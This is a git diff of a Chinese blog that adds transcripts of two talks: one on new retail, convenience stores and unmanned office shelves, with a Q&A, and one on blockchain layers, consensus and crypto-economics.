+所以，我们有时讲，阿里能够做起来，固然有团队和企业价值观的因素，但也确实是因为站到了中国经济拐点上——在零售极度不发达、信息极度不对称，支付、物流无法匹配的时候，电商就会起来，而电商起来之后，会倒逼物流、支付方式、信用担保方式等重构。 + +所以，今天看日本、美国、中国所谓的新零售，我打赌中国的新零售一定会在全世界变成一个极具竞争力的全新物种。 + +看完总体的行业情况，就会明白我们当初为什么会选即时便利领域。 + +大卖场已经七到八成被电商取代，而且我觉得大概率，未来的一年到一年半的时间里面，大卖场会100%被更具竞争力的电商平台取代，我们的生活都已经在改变了。 + +我们原来会在天猫和京东上买一些标品，到后来买一些非标品，油盐酱醋米。今天，我们不但能够在电商平台上买非标品中的长保商品，甚至可以买到非标品里一些短保商品， + +举例说大家现在可以在电商平台上面买水果了，到后面冰鲜、冷鲜，也可以在电商平台上买到。五年前你会想得到吗？那时候是绝对不可能的，怎么可能在电商平台上买一只鸡跟鸭呢？而现在就已经实现了。 + +所以，大卖场的退场在中国是大概率事件。前段时间发生的大润发的收购，家乐福说要退出中国的传闻……我觉得都是信号 ——中国电商已经改变了远距离的大卖场的购物方式。 + +而盒马跟超级物种，正在做的是城市里的重构 ——以社区为用户组织方式的新的购物方式。现在，你要买生鲜时，会发现原来在盒马里也能用非常便宜的价格吃到澳洲大龙虾，这在以前是不能想象的。而且我觉得这是一个不可逆的大趋势。 + +那便利店呢？ + +我们认为前两者是需要大平台、大资源、大资金、大团队才能干的事情。而唯有便利店，在新零售的众多跑道里面，颗粒度最小的零售业态，是大平台不太能跑通的。因为，大平台： + +第一、来不及、看不上； + +第二、因为颗粒度太小、太碎，所以大平台没有必要先搞——他们肯定是先搞那些对现有资源有极大利用化的东西。 + +你想，阿里、京东本来物流、货的优势都存在，那就直接把货和物流的优势切换到大卖场和生鲜商超上就可以了——这就非常顺。 + +但是近距离的100-300米的小的零售业态，对于阿里京东而言也是个极大的空白点； + +同时这类新的业态，也非常适合新的创业公司切进去，因为切口很多。你既可以做便利店、也可以做无人货架、还可以做自动售货机、也可以做我们打赌未来不久会出现的低成本的智能硬件。 + +而且我判断这个智能硬件，在办公的环境里出现的同时，在社区的环境、在所有休闲娱乐的环境里面都会大概率的出现。 + +我们认为，在新零售上，日本是以便利店 + 自动售货机重新组织新零售，而中国将会以智能硬件的方式直接切进不同场景和不同人群。 + +那么这个道理反过来用，就是说我们在思考势起的时候，还是说，在你创业当中，如果你去找一个非常窄的，那么这个非常窄的跑道的势就要靠你去带，而大的跑道往往是势本身就在，你只要能发现它，这是势起。 + +> 2. 人成 + +人成，我现在的感受也特别深。 + +团购这个赛道，有几百个团队看上，到最后变成10家、5家、3家、2家……势头大家都看到了，甚至有些创业公司比美团、点评看到的还早，但是为什么最后成的是美团和点评呢。这就是我说的后面两个字：人成。 + +这里的“人”，可能不是大家简单想象的团队的所有人。我觉得一家企业的成功，人成，很大程度上就是那10%和20%的人决定的。并且，我认为企业跟企业竞争，不仅是简单的执行力的竞争，更是人的思考和理解能力的竞争。 + +所以，总结美团点评成功的原因：其一，在生活服务和点评上，它的理解是非常深刻的——在货、需求、平台上的理解是最深的。其二，他组织人力资源的效率是最高的；因此他能够活到最后。 + +最后，就是分享给大家的这四个字：首先是势起，然后靠人，把这个事从多进四、四进三、三进二、二进一的做成。 + +我今天将近两个小时时间，把这几年思考的大的框架跟大家做了一些分享，也希望多多少，其中某一个点对大家企业的运营和管理有一些帮助，谢谢大家。 + +# 六、 同问 + +提问：前天听说一个知名生鲜电商平台，杀进来半年之后又被迫退出。由此我产生这样一个问题，会不会出现在拼杀的时候，擂台坍塌，每个人都没有太大的收获。 + +在零售这个业态里，最终是互联网人为主的团队获胜，还是传统零售行业的人获胜，还是最后大家都失去自己原有的？ + +吕广渝：相对来讲，零售确实特别复杂。在供应链中既有老的玩家，也有新闯入的对零售理解不深的玩家，而零售业态又需要重构供应链。 + +所以从这个角度看，所谓原来生鲜玩家坍塌的现象，我觉得要分两层去看： + +第一，意识和心态上的坍塌。 + +第二，实际的操作上的坍塌。 + +理性看，从盒马到超级物种再到新零售，真正的玩家开始重整资源、冲击行业也就是最近半年的时间，包括我们自己的尝试。所以，最终到底是互联网人为主的团队获胜，还是以传统零售人为主的团队获胜，我认为目前是没有答案的。 + +零售极度复杂，与原来纯电商的做法不同。这也就是为什么我们自己的团队里，一定要有传统零售业的资深玩家——因为这里面有非常多的坑。 + +你看，现在新零售的行业里面，永辉是传统玩家，它并不算互联网玩家；而在我们这个业态里面，也有非常多的传统玩家在组织无人货架，因为它有货、有运力的能力。 + +互联网人比较野蛮，传统的人比较文质彬彬 ——这里的文质彬彬是打引号的。因为互联网人一开始是不计成本的在占领市场，极大补贴用户、也不怎么在乎供应链成本……为的是要让用户认知市场。 + +而传统的人，他第一反应就是，如果我也这样，那毛利、净利就没有了，我的团队和融资能力也不一定比得上互联网团队，我怎么打呢？ + +可能，传统人还会有一些天然的恐惧，但我觉得移动互联网时代的竞争跟PC时代的竞争是完全不同的。今天的这场竞争，很难说是互联网人为主的团队还是传统零售行业的人会成为最后的赢家。我们深入其中，只是希望能够推动些这个行业的迭代跟改变。 + +我们认为，在零售行业中竞争，不管新零售还是老零售，最重要的是对供应链、前端以及用户体验的重构。老的零售玩家做一个APP也不难，永辉如果组织云创，也可以把整个系统和移动端的体验都做到；但是供应链的重构反而是传统的玩家比较有优势。 + +举个例子，现在广东有一家钱大妈肉店。这家店最近获得非常多大的风投，原因是它提了一个和互联网完全不搭边的理念——“钱大妈肉店不卖隔夜肉”。 + +它不卖隔夜肉的理念是，每天晚上一个时点开始从9折、8折、7折到免费送，所以钱大妈的肉店每天晚上都有一群的社区老太太、老大爷在那个节点上排着队领肉。 + +理论上大家觉得这完全不可思议，因为每个肉都有进货成本。但是，在零售的供应链里面，最怕的是反向物流和储存。 + +如果今天肉卖不光，一定要把肉拉回冻库，不能放在店里面，因为店里面冷冻的温度是不稳定的。而当我把一块肉从冻库拉到店，卖不掉又拉回店的时候，供应链成本是翻倍的。 + +所以，反向物流供应链成本，和送给老大妈换取一个口碑，赚取一个获客成本。它只抓住了一个用户痛点，但它不是用互联网方式解决痛点，它是用商品、成本的意识去重构这个痛点。今天互联网人就很难再颠覆掉它这个业态。 + +现在很多人学不会，因为这背后的know-how其实是非常重要的。店里需要组织什么样的肉，怎样在打折前召回用户原价购买，真正打折的可能是进价成本比较低、毛利比较高的部分。所以从这个组织方式来看，反而是传统零售的玩家成功几率比较大。 + +我们内部觉得，零售行业里面最后不是赢家通吃，会形成非常多巨头的大跑道，所以不需要这么粗放的去看这个行业的竞争，我觉得这个现象只是早期任何行业竞争的一个表象。 + +提问：即便可以用职场社交的压力去规避人性的缺陷，但我一直都认为人性是有一些原罪性的，请问您还有其它的解决方案吗？ + +吕广渝：我觉得优化的路径都是顺滑发展的。 + +我们是人性本善的主导者，我们始终认为有一派是人性本恶，有一派是人性本善，从我们5个创始人来讲，我们都比较笃定的坚信，在商业文明和社会文明的发展当中，人性本善是大趋势，我们不希望也不喜欢假设人是恶的。 + +第一，当初我们进这个市场的时候，很多人有非常大的质疑。觉得这个无人货架放出去，岂不是整个货架都要被人搬走了，就像今天单车放出去之后，很多人都放在自己的小院里面了。 + +我觉得这个现象在社会进步当中是会发生的，但是每一家企业创始人的价值观、理想不一样，会导致你对这个事情的看法不一样。 + +第二，真正的人性其实是成本跟效率的平衡。 + +我们也可以在办公室投放相对已经成熟的、封闭的、通过扫码取货的、偏友宝类的智能货柜。这种货柜基本上100%的规避了人性的东西，但是，它无法跟成本平衡。 + +一台这样100%成熟的机器，成本是30000-35000。对于现在绝大部分中小企业，或者商业运营方来讲，是一个绝对不划算的投入产出。就像在座的各位在做企业的时候，也要考虑投入多少，产出多少，你要赚钱，你不赚钱都是瞎扯。 + +所以我觉得在成本、效率、人性当中，永远都要选择一个平衡。我们一开始是基于理想，但是进去3个月之后，我们大概率验证这件事情是可行的，原因是，我们看到它尽管会带来货损，但是这个货损是稳定的。 + +社会永远是二七一的构成，在1万个点位里面，我们假设人性最恶劣的点位是10%，他们还需要有一个过程，这些点位就会被撤掉，意味着这个范围里面所有的人，暂时还接受不了这种业态，我们就暂时不提供这样的服务，这是需要一个过程的。 + +但我们大概率判断，今年年底、明年年初，低成本的智能硬件会大面积出来。因为中国的工程设计能力、制造的能力全世界最优。 + +现在等的是核心技术的成熟，无论是今天已经实现的图像，重量，还是别的更优的技术，我们还是比较相信技术的力量，技术会改变人的生活，如果你不相信技术的力量，完全赌人性，我觉得这是一个不理性的创业者。 + +所以，创业者每天都是在纠结、焦虑中度过。你刚才问的问题，我们也问过自己，但是你选择相信人性还是不相信人性呢？ diff --git a/_posts/2018-03-01-270-qukuailian.md b/_posts/2018-03-01-270-qukuailian.md new file mode 100644 index 0000000..fa769f9 --- /dev/null +++ b/_posts/2018-03-01-270-qukuailian.md @@ -0,0 +1,103 @@ +--- +layout: post +title: 区块链与加密经济 +pid: 270 +tags: [区块链] +--- + +金融科技海上夜话（第一期） +区块链与加密经济 + +主讲人：肖风 + +【肖风】：非常荣幸有这么一个机会，在这里跟大家汇报一下我对区块链的一些看法，也很感谢主办方邀请我来参加这样一场盛会，也很感谢各位领导，也感谢参会的嘉宾，你们都是牺牲了晚生的时间，来听这么一个不知道有没有价值的汇报。区块链现在很热，热到说实话，我都不是太想去讲了，说不定哪天热过头了，但叶总非要我来讲，那好吧，我来谈谈我自己个人的一些看法。 + +【肖风】：有关于区块链，大家已经有了基本的了解，比如说谈到区块链的时候，大家会说，它是一个去中心化的经济机制。那么区块链如果要用一句话说清楚，我认为2015年英国《经济学家》杂志社的封面文章，它的题目写得非常好，我觉得足以概括区块链是什么？文章叫《区块链信任的机器》。我们人和人之间最核心的经济关系就是交易，但在没有区块链之前，我们所有的交易活动，怎么样保证交易双方真实可靠的完成一笔交易？两个人之间互相不信任。比如说我们在互联网上网购，一定要有支付宝。2003年淘宝出来以后，首先阿里巴巴觉得没有一个支付宝，不可能在互联网上把电商做下去，需要一个支付宝担任信任中介，确保交易完成。现在我们刷的银行卡，如果不是银行发的，商户是不敢收你的，银行是一个信用的中介。在区块链出来之前，任何的交易活动都需要有一个中介，没有一个中介，不可能两个人在缺乏第三方的情况下，两个陌生人达成一笔交易。区块链干的事情就是信任的机器，倒过来说用一台机器人取代了一个信任中介的作用，用一套数学算法确保两个陌生人不借助于第三方的情况下，把一笔交易，不管是金融的交易或者是商品的交易能够完成。这就是区块链的最核心、最本质的东西，区块链是信任的机器。 + +【肖风】：在我介绍这句话内涵的时候，我们隐隐约约听到一个词，就是区块链是去中心的。确实区块链是去中心的，因为它把中间的中介去掉了。在经济交易活动当中，所谓的“去中心”无非有这么几个意思，第一个，我们在完成一笔交易的时候，不再需要第三方，这个第三方就是一个中心。第二个意思，就是经济活动，需要有一个组织，我们有这么多的公司，可能大部分来自于各种各样的商业机构、商业组织，但是在区块链上所从事的所有经济活动，不再需要像“公司”的这种制度，不再需要这样一个组织。第三个，不再需要这样一个商业机构，我们很熟悉的这样一个组织形式来帮助我们完成经济交换活动，来完成各种形形色色的交易。第四个，除了不需要这个组织之外，任何的经济活动都有可能，或者说在数字世界里面的数字经济活动都不再有一个，它的激励机制不再是一个中心化的机构建立起来的。我们每个人为中心化的机构服务，那么这个中心化的机构给我们工资，给我们奖励，给我们职务，来激励我更好的为这个事业服务，一定有一个中心化的机构来建立这样一个激励机制，但在区块链上面这个激励机制不是由中心化的机构来建立。 + +【肖风】：有一个大家都熟悉的词汇就是“自组织”，就是没有一个中心化的控制机构，甚至没有一家公司。自组织在经济活动中的作用，在过去几十年里面，有七到八位经济学家在研究“自组织”在经济活动中的作用而获得诺贝尔经济学奖。在我们分析任何经济活动的时候，我们基本上用“两分法”就是市场和政府，我们都说市场无形之手，政府有形的手，市场失灵的时候，我们用政府的管制，当政府管制失灵的时候，我们用市场无形的手来补充。但在过去几十年的时间里面，有七到八位诺贝尔经济学奖研究市场和政府之外的第三方力量叫“自组织”。 + +【肖风】：2009年时候两位诺贝尔经济学奖的得主研究的就是这个东西，唯一的一位女性经济学者获得经济学奖的，她毕生研究的就是在市场和政府之外的第三股经济治理的力量，所谓的自主组织和自主治理。所以我们讲到区块链的去中心，讲到区块链可能在区块链上组织的经济活动不再需要像公司这种制度，或者不再需要这么多的信任中介，它不是一个晚上突然冒出来的，几十年以来有很多的经济学家都在研究“自组织”在经济活动中的作用，而且有很多的案例，也有很多的理论推导证明在某种情况下，自组织比企业或者比政府更具有效率，能够更好地创造社会福利，这是有一系列经济学的研究，一系列的论文，一系列的社会调查来证明的。 + +【肖风】：只不过是说区块链技术在2009年出来之后，使得我们可以用到一系列新的技术，来更好地发挥自组织在经济活动中的治理效率，能够更好地发展自组织带来的对社会福利的贡献，这个东西一直存在的。技术的发展，使得这种自组织的作用可能会变得比以前更大更显眼，给我们带来的冲击也会更大，只是如此而已。这是我想开场说到的一点，区块链是什么，区块链的特点，去中心，并不是突然冒出来的词。去中心，并不是说取代了政府或者取代了企业，在所有的经济学家研究当中，他们探讨的是这三者在某种状况下，其中某一股力量能够起到很好的作用，它们不是互相取代的关系，是一个互动的关系，是一个相得益彰的关系，是在某一个场景下，某一个经济周期，某一个事物下，某一个力量会更有效果。对经济活动来说，政府的管制在某种情况下是必须的，市场的竞争在某种情况下也是最好的，但可能仍然有一些东西用自组织的方式更有效率。 + +【肖风】：在区块链之前，哪些场合自组织会发挥更好的效果呢？就是跨主权、跨经济主体，全球性的公共经济事务，比如说全球气候变暖，比如说水污染，比如说反恐。2009年诺贝尔经济学奖获得者研究在很多公共经济事务治理当中，她发现自组织有很多市场竞争和政府管制不能带来的好处。区块链系统的正式上线是2009年的1月份，2009年的诺贝尔经济学奖恰恰给了两位专门研究自组织效用的两位经济学家。为什么都是2009年？因为2008年全球金融危机，让大家看到第一市场这只无形的手已经失灵了，政府有形的手也失灵了，所以有一帮技术集客们说“我们要改革央行的货币发行机制，我们要建立一套更强的用数学规则自我限制的货币发行的一套规则，不能让央行乱发货币”，这就是比特币区块链之所以能够产生的背景。恰恰也是因为2008年市场之手失灵，政府之手失灵，所以2009年诺贝尔经济学奖就奖给了这两位经济学家。 + +【肖风】：今天我是顺着这样一句话讲我的内容，大家可能听说过这样一句话“人工智能是生产力，区块链是生产关系”。我这个题目“区块链与加密经济学”，我想来探讨一下区块链怎么改变了生产关系？怎么重组了生产关系的角度来介绍一下区块链，来看看它对于我们的商业，对于社会发展具备什么样的价值和作用。 + +【肖风】：我这个正题分三节，第一节用比较通俗的方式，大家能够接受的，不是从技术的角度来讲区块链是什么。我看区块链呢，我把它分成三个层次，第一个层次，区块链最底层的一个层次，实际上是分布式网络，区块链是架构在分布式网络技术之上的一个应用。分布式网络技术是有几十年的历史了，最早的所谓的P2P网络，到后来的CDM，到现在的边缘计算，物联网3.0时代要进入到边缘计算时代，区块链是建立在分布式网络基础上。分布式网络对于区块链来讲，最主要的作用就是解决了点对点通讯的问题。 + +【肖风】：在分布式网络基础上，如果我们给它加一层东西，加一层密码学的帐本体系，这个分布式网络就变成了分布式帐本。密码学的帐本体系和我们现在所碰到的金融帐本体系，比如说在银行的开户等等是非常非常不同的。最大的一个不同，银行的账户体系只能记录你的资金，但是密码学的账户体系能记的东西比这要多，不仅可以记你资金的状况，可以记信息，甚至可以记跟你身份有关系的所有数据都可以在这个帐本体系上建立起来。更重要的一个区别在于密码学帐本体系，它的开户和金融账户体系开户完全不同的。如果你要去开立一个账户，一定要做KYC，银行一定要辨别你是好人还是坏人，你的信用等级是多少，我能够最大限度的为你提供多少金融服务，所以它需要很高的成本，因为你要去辨别谁是好人谁去坏人，辨别好人之后，你还要对他信用作分析。 + +【肖风】：密码学账户体系，没有这个KYC的过程，任何一个人不需要借助第三方，就可以在比特币的区块链上开无数个账户，没有人来辨别你是好人坏人。但不管是银行帐户体系还是区块链上的密码学上的账户体系，但所要达到的目的是一致的，这个目的就是要从事交易，基于这个账户完成。银行需要有一整套的人员、模型、机构、过程来辨别你金融服务的请求是不是应该得到允许，是不是可以让你完成。区块链没有这些东西，它有的是一套数学算法，一套数学算法，建立了一套网络上的规则，这套规则依照它做，那么所有的坏人不可能在上面作恶，如果不依照这套算法做，那么你不可能实现你想要达到的目的。这样两套账户体系，就知道谁的成本高，谁的成本低。运行一套数学算法，一个人和一万个人同时运行它，边际成本不会增加，但是如果银行来辨别一个人的金融服务的请求，你服务一个人和一万个人的边际成本一定是增加的。 + +【肖风】：所谓的分布式帐本，最大的特点，是所有的相关方都在一个帐本上记帐，而现有的所有记帐都是各个单位、各个个人记自己的帐。如果一笔金融交易需要经过五个相关机构，那么这五个相关机构如果要这本张记平了，他需要时间，需要人，成本很高，所以要进行一笔国际汇款，需要7%、8%的费用，因为经过五六个跨国的金融机构，要把所有的帐记平，要强大的中后台保证这个帐不会记错。但所有人都在这个帐本上记东西，所有任何一个相关方的数据发生变动，其他方就知道了，因此不需要很大的中后台，这就是分布式帐本。 + +【肖风】：在分布式帐本阶段，有很多密码学的东西加入到了区块链上。区块链底层有大量的密码学的算法。首先，区块链的账户是用非对称加密算法开立的，开账户也没有成本，任何人可以在区块链上开一万、一亿个账户，没有人管你，也没有人做KYC，不需要做KYC。我们要在区块链上同步所有的数据，我们要确保这个数据不会被篡改，因此有哈希函数，要保持你的隐私，有证明算法。比如说五个企业有自己的数据，不想让别人看到，那么有安全多方计算的算法，能够确保数据继续在你公司本地，但同时通过区块链能够达成数据的交换，同时各家公司的数据又不会被对方所知道。包括区块链上面的协作，所谓的比特币的挖矿。 + +【肖风】：如果你在分布式帐本之上再加上两个东西，那么它就到了区块链的第三个层次，到了公有区块链，到了最纯粹的区块链，就是所谓比特币区块链这样的东西。第三个层次公有区块链，或者叫比特币区块链。加了两个什么东西就变成了公有区块链或者比特币区块链了呢？第一个发行数字货币的货币体系，这个数字货币的货币体系和我们现在的货币体系是完全不同的两个东西，数字货币不是我们现在的货币，更加不可能是法币，它是一个很特殊很特殊的东西。两个之间最大的区别在哪里呢？我们现有的货币，即使完全电子化了，它再电子化，也只是存储了你的一串数字，你的微信、支付宝钱包里面，你的银行帐户里面，无非里面是一串数字。数字货币不是数字，是计算机程序。我有两个比特币，你有的不是数字，是一段代码，是一段计算机程序，它不是简单的从纸币变成了电子，从物理形态上，我们有铜、金银，后来变成了纸币便于携带，后来为了更方便的携带，于是变成了电子化，那只是物理形态上的变化。到数字货币，是根本性质发生了变化，它变成了一段计算机程序，因为它是程序，所以我们可以赋予它智能合约。我们可以在这个代码里面可以写进很多计算机的约定，比如说这笔钱可以付给谁，这个钱什么时候可以付，可以写到程序里面去，最后由计算机系统自动的帮你执行这笔钱的交易、汇兑、交换，不再需要依靠人，这是数字货币和我们现有货币体系最大的一个不同。 + +【肖风】：在公有区块链上，为什么一定要发行数字货币？不发行不行？不发，可以，不发就是分布式账本，在分布式帐本里面没有数字货币，在公有区块链上，不可能没有数字货币。因为公有区块链是一个完全去中心去中介一个自组织。为这个自组织去工作，比如说现在有很多人自己花钱买几千台服务器，到四川的山沟里建一个矿场，挖矿，挖矿就是替区块链工作，帮助它去存储数据，为它提供一个安全计算的基础，因此比特币区块链每10分钟会结一次帐，这10分钟内为区块链工作过的矿工，比特币就会发给他奖励。如果没有了币，谁还会为比特币区块链工作呢？因为区块链是一个自组织，自组织谁来给我激励？没有激励谁来给他干活？所以数字货币是一个激励机制，是一个没有中心化的机构来建立的激励机制。 + + +【肖风】：另外一个，除了激励机制之外，一个自组织，它在没有像公司那样的股东会、董事会管理层，甚至比特币区块链没有员工，没有经营场地，没有收入，可是这个比特币区块链成功的有效的运行了九年时间，在上面跑着，最高的时候几千亿，现在大概不到2000亿美元。九年时间没有股东会、没有董事会，没有员工，没有经营场地，没有资产负债表，它靠什么运行的？谁来决定这个网络怎么运行？显然不是由董事会和管理层做出来的决定，是依靠一套共识算法，依靠一套数学算法来进行管理和治理。所以基于博弈论的共识算法和基于数字货币的激励机制，这个治理机制和激励机制加在分布式帐本上，就是公有区块链。区块链无非就是这么三个层次，对我们现有的商业体系来说，比如说现有的银行业，是不大可能直接用到公有区块链来改造我们现有系统的，因为我们不可能是一个完全去中心化的机构，我们也不可能接受说一个系统自动发行一个不是由央行发行的货币。一般来说，现有的商业，不管是银行还是商业机构，一般用的都是分布式帐本，分布式帐本是不带数字货币的，因此我们银行用它做供应链金融也好，做贸易金融也好，或者企业用到区块链做溯源也好，基本上用的是分布式帐本，不是区块链。这里面没有好坏之分，跟现有的法律体系，跟现有的商业体系、金融体系能够结的是分布式帐本技术，不是公有区块链技术。 + +【肖风】：反过头来也可以说，公有区块链技术一定会长在颠覆性的商业场景里面，不大可能对接到我们现有的体系，因为它冲突太大。至少在未来的一两年之内，看不到它们对接的可能性，但分布式帐本是完全可能对接的。 + +【肖风】：区块链有很深厚的理论基础，经济学家在过去几十年一直在研究政府和市场之外的第三股经济治理力量。除了这个之外，在数学上的基础更多的是基于算法博弈论，算法博弈论是区块链的数学基础。为什么博弈论会成为区块链的数学基础？我们从囚徒困境这样一个博弈论最著名的案例讲起，两个罪犯被警察抓了，关在不同的牢房里面，如果他们两个人都死扛着不招，警察没有证据立刻把他们放了，但如果两个人招了，两个人都会判刑。但警察在审讯他们的时候说，如果哪个人先招，会减刑。这时候大部分的结果是两个人都招了，因为信息完全不对称，在两个不同的牢房里面，这是一个最典型的百分之百信息不对称的环境，谁都怕对方招了，最后的结果大家都招了。 + +【肖风】：但区块链的分布式帐本技术。区块链是基于一个分布式网络技术，分布式网络技术的学术名称叫做点对点对等网络。在分布式网络上，任何一个网络上的节点它获得信息的权利是对等的，你能在这个系统上得到任何信息，另外一个人也完全能够得到。如果是点对点对等网络，那就证明信息在区块链上是完全对等的，在一个信息完全对等的环境下，这两个囚徒还会作出第二种选择吗？如果两个人通气，肯定会死扛着。在一个信息完全对等，完全公开透明，数据不可篡改的可信环境里面，博弈论往往就能达到最优。因此在区块链的底层算法博弈论成为它建立自己的一个自组织激励机制的一个最底层的数学基础。数学是最容易在全球达成共识的，1+1等于2，全世界70亿人在1秒钟之内达成共识。所以区块链为什么能够做到博弈出一个好的结果？因为它用的是数学，比特币区块链一套数学模型，每10分钟会发出几个比特币，这是一套数学，你要不相信，可以运行一下这套数学模型，1万人运行出来的结果是同样的，所有人都信了比特币区块链，在这套数学模型下，数字货币的发行量就这么多，而且谁为区块链工作了，谁就能得到比特币。我们不需要HR部门，也不需要业绩管理部门做评估，来决定你的奖金，你的奖金是一套算法来决定的，这10分钟之内你做了工作，这10之内发出来的比特币就给你了，下10分钟你没有抢到记帐权，那下10分钟你就没有权利得到下10分钟的比特币。非常公平，HR不要了，行政管理不要了，部门经理不要了，老总也不需要了，靠数学算法。这是第一节，我们如果去理解区块链，从这样三个层次去看，很多人说我用区块链做事情，它基本上落在这三个层次的某一个层次上或者它只是用了分布式网络技术，或者他用了分布式帐本，并不是使用了公有区块链。有一些确实用到了公有区块链，比如说以太坊、比特币区块链。 + +【肖风】：第二个从技术发展的角度介绍一下区块链。技术发展趋势，技术发展进程的角度谈区块链，现在行业里头分成区块链1.0、区块链2.0、区块链3.0。所谓区块链1.0，最典型的代表就是2009年1月份上线的比特币区块链。区块链1.0的最主要的，最核心的贡献就是建立了一套密码学的帐本，提供了一套新的记帐方法，和我们以前所熟悉的复式记帐法不一样。但它有一个缺欠，比特币区块链，它所有的规则是事先写好的，没有人可以在比特币区块链上修改任何的规则，你只能用它的东西，你不能在它的基础上再去发展，说我写一些新的代码，是不是能够用比特币区块链干一些别的东西？对不起，不允许的，不支持别的开发，这是区块链1.0。 + +【肖风】：到2015年的7月份，有一个新的公有区块链，叫以太坊，正式上线。以太坊区块链和1.0区块链比较起来，最大的不同，就是别人在以太坊区块链的基础上做其它的应用开发。你可以用我作为底层做你的事情，这是它和1.0最大的不同。同时以太坊区块链有一个非常伟大的计划，它希望把以太坊区块链建成世界计算机，建立一个全球性的大规模的协作网络，所有人都在以太坊区块链上做计算、运用，这个计划到目前为止还是在进行中，没有能够完成。同时因为它允许别人在以太坊区块链上做一些其它的应用开发，因此它提出了一个叫做智能合约，支持大家在上面编智能合约。智能合约不是合同，智能合约就是一套保证你的合同能够在不借助于第三方的情况下得到执行的计算机程序。合同是合同，合同需要律师，需要现实世界当中的法律，依据法律来签的，智能合约不是合同，是一个计算机程序，这个计算机程序能够保证你们俩合同签完之后，谁都不能反悔，只要条件达成，这个系统会自动的扫描大家商量好的一个网站，来判定谁赢谁输，自动触发支付的条款，这是区块链的2.0。2.0仍然有它的缺陷，它能够支持一部分的应用开发，但是它在性能上头，在很多方面仍然有缺陷，它不能支持大规模的商业应用开发，比如说交易的速度，比特币的交易速度只有每秒7笔，以太坊绝对不超过20笔。支付宝在双十一的时候，去年的时候已经突破了每秒26.5万笔，在区块链2.0的任何基础上，都不可能支持。支付宝为什么能够支持每秒26万笔？因为它一个人决定成交不成交。我们上海证券交易所到过每秒20万笔，成交不成交，是上海证券交易所一个人说了算，可是在区块链上面，需要很多人确认这笔交易，大家都同意，这笔交易才能最后被确认，所以速度不可能那么快。 + +【肖风】：因为性能上不能支持大规模的商业应用，区块链技术往前发展，2018年开始进入到区块链3.0的阶段。3.0没有其它技术上大的突破，3.0重要要解决的就是大规模商业应用，在技术上，在性能上要能够支持大规模的商业应用。到目前为止，真正的区块链3.0的系统还没有哪个真正上线了，可以让你去试。有这么几个，像EOS、Dfinity等有一些测试的网络，但还没有正式的上线。我们也相信2018年，这些技术上线测试优化调整之后，大规模的商业应用，至少支持每秒1万笔或者每秒10万笔的系统开始有了。大多数的网络并不需要每秒10万笔，像VISA这样的全球支付网络，也没有到过每秒10万笔，支付宝也只是双十一这一天会每秒20多万笔。到技术成熟了，大规模的商业应用就可能出现了。有人说区块链是90年代的互联网，这个话也对，确实区块链技术还属于早期，但是如果用老经验，用互联网的经验说，这只是1995年的互联网，因此我们还可以等20年，等这个互联网成熟。真正的互联网走向大众，让一个80岁的老太太也能够享受到互联网的好处是2007年的事情，随着3G网络的推出，随着智能手机的普及，于是有了微信，在没有微信之前，要让老头老太太用互联网，几乎是不可能想象的事情，但有了3G网络之后，70岁、80岁的老太太用微信抢红包抢得比我们还快，这就是技术带来的。但我们以为区块链现在还是1995年的水平，我们要等它到2007年的水平，十几年的时间，那就错了，因为区块链不依赖于摩尔定律，不依赖于硬件技术的改进，摩尔定律主要指的是硬件，所以它的发展速度一定会比互联网更快。所以，有人说币圈一日人间十年，确实因为它不受摩尔定律的制约，所以它的速度会比互联网更快一些，应该说快好几倍。 + +【肖风】：这是我介绍的第二节内容，从机制和技术这两个角度介绍了什么叫区块链。我想，我们不需要从编程，从代码、从算法、从密码学的角度去了解它。 + +【肖风】：第三部分，从商业的角度，从经济的角度来介绍区块链跟我们现在的经济，现在的商业有什么关系，它有什么价值，能干什么。 + +【肖风】：区块链所谓的加密经济学或者分布式商业的时候，加密经济学不是我创造的一个词，这是有了区块链之后，很多经济学家讨论区块链的时候，带来的很多经济学的新问题的时候，他们起了一个名字叫加密经济学。在加密经济学之前，有互联网经济学，有网络经济学，有虚拟经济学。网络经济学的鼻祖，可以看成是凯文凯利和Google的首席经济学家范利安，他讲了互联网所带来的很多对经济学规则的冲击和重构。比如说互联网的网络效应，“网络效应”这个词简单的四个字，但它对我们现在所熟悉的，我们所赖以生存的经济规则带来巨大冲击。所谓网络效应，简单的例子，你造一个电话网，这个电话网络只有一台手机，这个网络有价值吗？没有价值，这个网络要有价值，至少得有两个手机互相打电话，两个手机的网络有多大价值呢？没有多大价值。如果从两台手机变成了一亿台手机，从一亿台手机变成十亿台手机，网络的价值随着人数的增加变得越来越值钱。这个在数字经济里面，网络效应首先第一个解决的是所谓“公地悲剧”的经济学难题。 + +【肖风】：“公地悲剧”非常著名的经济学问题，一块公用的地方，可是有无限的人用，就变成了沙漠。但是在互联网上有一个词叫“公地喜剧”，因为越多的人上去用这个网络，这个网络会越值钱，它不再是悲剧，是喜剧。又引出了另外一个经济学的课题，这个网络依据网络效应所带来的价值是谁创造的？是拥有这个网络的公司创造的呢？还是我们这些带着手机加入这个网络的用户创造的？网络效应，大部分的价值是我们用户自己创造的，跟这个公司关系不大。既然这个价值是我们这些用户自己创造的，那么为什么不把我们创造的价值还给我们？我作为用户，我加入这个网络使得这个网络有价值了，是不是应该把某部分的价值还给我？区块链就是干这个的。比特币区块链这样一个网络，有一个叫中本村的人，2009年的1月份，把它丢到互联网上，然后在2011年的时候，这个创始人说，再见了，我去做点别的事情了。他就消失了，这个网络所有的价值由谁在享受？由加入这个网络的所有使用者，而不是某一个股东，它没有股东，也不是由董事会的董事，也不是由管理层，也不是由员工来携手这个网络价值，这个网络百分之百由加入者在使用。 + +【肖风】：有人说区块链经济才是真正的共享经济，为什么呢？因为它没有股东跟你分利润，任何一个人加入这个网络，就可以得到应该得到的那份价值，均分给所有的使用者，那才是真正的共享经济。所谓的加密经济学，因为区块链技术等等很多新的东西，可能对我们很熟悉的基于工业经济的很多经济规则要进行重构。在工业社会，要让生产到达最高效率，我们需要流水线，我们需要大规模的生产，我们需要公司这种组织形式，没有这些生产组织形式，我们经济不可能达到一个最好的效率。可是在区块链的世界里面，在区块链的经济体里面，这些统统都不需要了，这就是加密经济学正在研究的问题。加密经济学并不是一个成熟的理论体系，但它确确实实因为区块链，因为数字经济，因为互联网带来了很多新的问题，不仅仅在拷问着我们的实业界，也在拷问着我们的理论界，也在拷问着我们的经济学界。 + 